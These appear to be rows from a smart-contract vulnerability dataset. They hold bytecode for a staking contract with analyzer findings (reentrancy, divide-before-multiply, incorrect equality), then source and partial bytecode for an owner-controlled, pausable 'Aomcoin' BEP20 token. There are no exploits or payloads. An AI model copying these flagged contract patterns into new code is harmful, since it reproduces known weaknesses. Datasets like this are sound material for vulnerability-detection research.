61236b90919063ffffffff16565b92505b8080600101915050610749565b506108d1600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361236b90919063ffffffff16565b92505050919050565b60056020528060005260406000206000915090505481565b600a602052816000526040600020602052806000526040600020600091509150505481565b60025481565b6000600160149054906101000a900460ff16801561097a57506000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610984575060005b9050919050565b600160149054906101000a900460ff1681565b600160149054906101000a900460ff16610a20576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4e6f74207374617274207965740000000000000000000000000000000000000081525060200191505060405180910390fd5b60008111610a96576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f74207769746864726177203000000000000000000000000000000081525060200191505060405180910390fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b4b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f496e73756666696369656e742062616c616e636520746f20776974686472617781525060200191505060405180910390fd5b610b543361091d565b610ba9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612ecc602a913960400191505060405180910390fd5b6000610bb533836123f3565b905060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c5757600080fd5b505afa158015610c6b573d6000803e3d6000fd5b505050506040513d6020811015610c8157600080fd5b81019080805190602001909291905050509050610ca9826002546127d590919063ffffffff16565b600281905550610d0182600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127d590919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d9033836000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661281f9092919063ffffffff16565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610e3057600080fd5b505afa158015610e44573d6000803e3d6000fd5b505050506040513d6020811015610e5a57600080fd5b81019080805190602001909291905050509050610e9862d2f000610e8a60646002546128f090919063ffffffff16565b61297690919063ffffffff16565b6004819055503373ffffffffffffffffffffffffffffffffffffffff167f75e161b3e824b114fc1a33274bd7091918dd4e639cede50b78b15a4eea956a2184848460405180848152602001838152602001828152602001935050505060405180910390a250505050565b60086020528060005260406000206000915090505481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fdd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b600160149054906101000a900460ff1615611060576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f616c72656164792073746172746564000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156110b857506110b78273ffffffffffffffffffffffffffffffffffffffff166129c0565b5b61112a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f7374616b6520746f6b656e206973206e6f6e2d636f6e7472616374000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561118257506111818173ffffffffffffffffffffffffffffffffffffffff166129c0565b5b6111f4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f72657761726420746f6b656e206973206e6f6e2d636f6e74726163740000000081525060200191505060405180910390fd5b60018060146101000a81548160ff021916908315150217905550816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112a66312cf4ec04261236b90919063ffffffff16565b6003819055505050565b600160149054906101000a900460ff16611332576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4e6f74207374617274207965740000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111561162e576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561146557600080fd5b505afa158015611479573d6000803e3d6000fd5b505050506040513d602081101561148f57600080fd5b810190808051906020019092919050505090506114ef3383600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661281f9092919063ffffffff16565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561159057600080fd5b505afa1580156115a4573d6000803e3d6000fd5b505050506040513d60208110156115ba57600080fd5b810190808051906020019092919050505090503373ffffffffffffffffffffffffffffffffffffffff167fa4b7979b77c5bef65740b7e1d7a09534eadc2803d5c1cfdae60fa28226be6da284848460405180848152602001838152602001828152602001935050505060405180910390a250505b50565b60008061165c6201518061164e86866127d590919063ffffffff16565b61297690919063ffffffff16565b905061168460a0821161166f5781611672565b60a05b601902866128f090919063ffffffff16565b9150509392505050565b6009602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60076020528060005260406000206000915090505481565b60035481565b60066020528060005260406000206000915090505481565b60045481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561187757600080fd5b505afa15801561188b573d6000803e3d6000fd5b505050506040513d60208110156118a157600080fd5b81019080805190602001909291905050509050600081111561190a5761190982826000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661281f9092919063ffffffff16565b5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156119a957600080fd5b505afa1580156119bd573d6000803e3d6000fd5b505050506040513d60208110156119d357600080fd5b810190808051906020019092919050505090506000811115611a3d57611a3c8282600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661281f9092919063ffffffff16565b5b5050565b600160149054906101000a900460ff16611ac3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4e6f74207374617274207965740000000000000000000000000000000000000081525060200191505060405180910390fd5b60008111611b39576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f43616e6e6f74207374616b65203000000000000000000000000000000000000081525060200191505060405180910390fd5b806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611bd857600080fd5b505afa158015611bec573d6000803e3d6000fd5b505050506040513d6020811015611c0257600080fd5b81019080805190602001909291905050501015611c87576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f696e73756666696369656e742062616c616e636520746f207374616b6500000081525060200191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611d2757600080fd5b505afa158015611d3b573d6000803e3d6000fd5b505050506040513d6020811015611d5157600080fd5b81019080805190602001909291905050509050611db23330846000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166129d3909392919063ffffffff16565b611dc78260025461236b90919063ffffffff16565b600281905550611e1f82600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236b90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611f0257600080fd5b505afa158015611f16573d6000803e3d6000fd5b505050506040513d6020811015611f2c57600080fd5b810190808051906020019092919050505090503373ffffffffffffffffffffffffffffffffffffffff167fb4caaf29adda3eefee3ad552a8e85058589bf834c7466cae4ee58787f70589ed84848460405180848152602001838152602001828152602001935050505060405180910390a26000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561202a5742600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000208190555042600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000208190555061216b6001600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236b90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121d962d2f0006121cb60646002546128f090919063ffffffff16565b61297690919063ffffffff16565b6004819055503373ffffffffffffffffffffffffffffffffffffffff167f9d04b6c8bc214976ea5035af451acef6ceb1362f383d4e95f68ef609abc7a48b82428760405180848152602001838152602001828152602001935050505060405180910390a250505050565b600160149054906101000a900460ff166122c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4e6f74207374617274207965740000000000000000000000000000000000000081525060200191505060405180910390fd5b61230d600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461099e565b6123156112b0565b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080612349836106f8565b119050919050565b6000600354421061236457600354612366565b425b905090565b6000808284019050838110156123e9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080600090506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008090505b818110156127c9576000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905060008114156124b057506127bc565b856124c4828661236b90919063ffffffff16565b11156124e0576124dd84876127d590919063ffffffff16565b90505b6124f3818561236b90919063ffffffff16565b935061255881600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000858152602001908152602001600020546127d590919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008481526020019081526020016000208190555061265f61261182600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008681526020019081526020016000205461260c612351565b611631565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236b90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff167fb0926109036f1bbde1e8f8cf5cc4c9f83973e3c9f97cc5bc1c856c5d3157b8c6834261273f85600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008981526020019081526020016000205461236b90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000888152602001908152602001600020546040518085815260200184815260200183815260200182815260200194505050505060405180910390a2505b8080600101915050612444565b50819250505092915050565b600061281783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612ad9565b905092915050565b6128eb838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612b99565b505050565b6000808314156129035760009050612970565b600082840290508284828161291457fe5b041461296b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612eab6021913960400191505060405180910390fd5b809150505b92915050565b60006129b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612de4565b905092915050565b600080823b905060008111915050919050565b612ad3848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612b99565b50505050565b6000838311158290612b86576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b4b578082015181840152602081019050612b30565b50505050905090810190601f168015612b785780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b612bb88273ffffffffffffffffffffffffffffffffffffffff166129c0565b612c2a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310612c795780518252602082019150602081019050602083039250612c56565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612cdb576040519150601f19603f3d011682016040523d82523d6000602084013e612ce0565b606091505b509150915081612d58576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115612dde57808060200190516020811015612d7757600080fd5b8101908080519060200190929190505050612ddd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612ef6602a913960400191505060405180910390fd5b5b50505050565b60008083118290612e90576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612e55578082015181840152602081019050612e3a565b50505050905090810190601f168015612e825780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612e9c57fe5b04905080915050939250505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774d757374206265206c6f636b656420666f722033302064617973206f72204d696e696e6720656e6465645361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820838d25f8a1f20d59547f91008c2f2072f63821a5658dfdb1c0d1309ae955da4e64736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "boolean-cst", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 151 |
0x90a0d38a3de3aaa858b15f891a9b33a326bd30bd | pragma solidity ^0.4.23;
// based on https://github.com/OpenZeppelin/openzeppelin-solidity/tree/v1.10.0
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
bool public mintingFinished = false;
uint public mintTotal = 0;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
uint tmpTotal = mintTotal.add(_amount);
require(tmpTotal <= totalSupply_);
mintTotal = mintTotal.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = true;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BEP20Token is PausableToken, MintableToken {
// public variables
string public name = "Aomcoin";
string public symbol = "AOM";
uint8 public decimals = 18;
constructor() public {
totalSupply_ = 1000000000 * (10 ** uint256(decimals));
}
function () public payable {
revert();
}
} | 0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010c57806306fdde031461013b578063095ea7b3146101cb57806318160ddd1461023057806323b872dd1461025b578063313ce567146102e05780633f4ba83a1461031157806340c10f19146103285780635c975abb1461038d57806366188463146103bc57806370a08231146104215780638456cb59146104785780638da5cb5b1461048f57806395d89b41146104e6578063a9059cbb14610576578063bca63e50146105db578063d73dd62314610606578063dd62ed3e1461066b578063f2fde38b146106e2575b600080fd5b34801561011857600080fd5b50610121610725565b604051808215151515815260200191505060405180910390f35b34801561014757600080fd5b50610150610738565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610190578082015181840152602081019050610175565b50505050905090810190601f1680156101bd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d757600080fd5b50610216600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107d6565b604051808215151515815260200191505060405180910390f35b34801561023c57600080fd5b50610245610806565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610810565b604051808215151515815260200191505060405180910390f35b3480156102ec57600080fd5b506102f5610842565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031d57600080fd5b50610326610855565b005b34801561033457600080fd5b50610373600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610915565b604051808215151515815260200191505060405180910390f35b34801561039957600080fd5b506103a2610b25565b604051808215151515815260200191505060405180910390f35b3480156103c857600080fd5b50610407600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b38565b604051808215151515815260200191505060405180910390f35b34801561042d57600080fd5b50610462600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b68565b6040518082815260200191505060405180910390f35b34801561048457600080fd5b5061048d610bb0565b005b34801561049b57600080fd5b506104a4610c71565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104f257600080fd5b506104fb610c97565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053b578082015181840152602081019050610520565b50505050905090810190601f1680156105685780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561058257600080fd5b506105c1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d35565b604051808215151515815260200191505060405180910390f35b3480156105e757600080fd5b506105f0610d65565b6040518082815260200191505060405180910390f35b34801561061257600080fd5b50610651600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d6b565b604051808215151515815260200191505060405180910390f35b34801561067757600080fd5b506106cc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d9b565b6040518082815260200191505060405180910390f35b3480156106ee57600080fd5b50610723600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e22565b005b600360159054906101000a900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107ce5780601f106107a3576101008083540402835291602001916107ce565b820191906000526020600020905b8154815290600101906020018083116107b157829003601f168201915b505050505081565b600060036014905490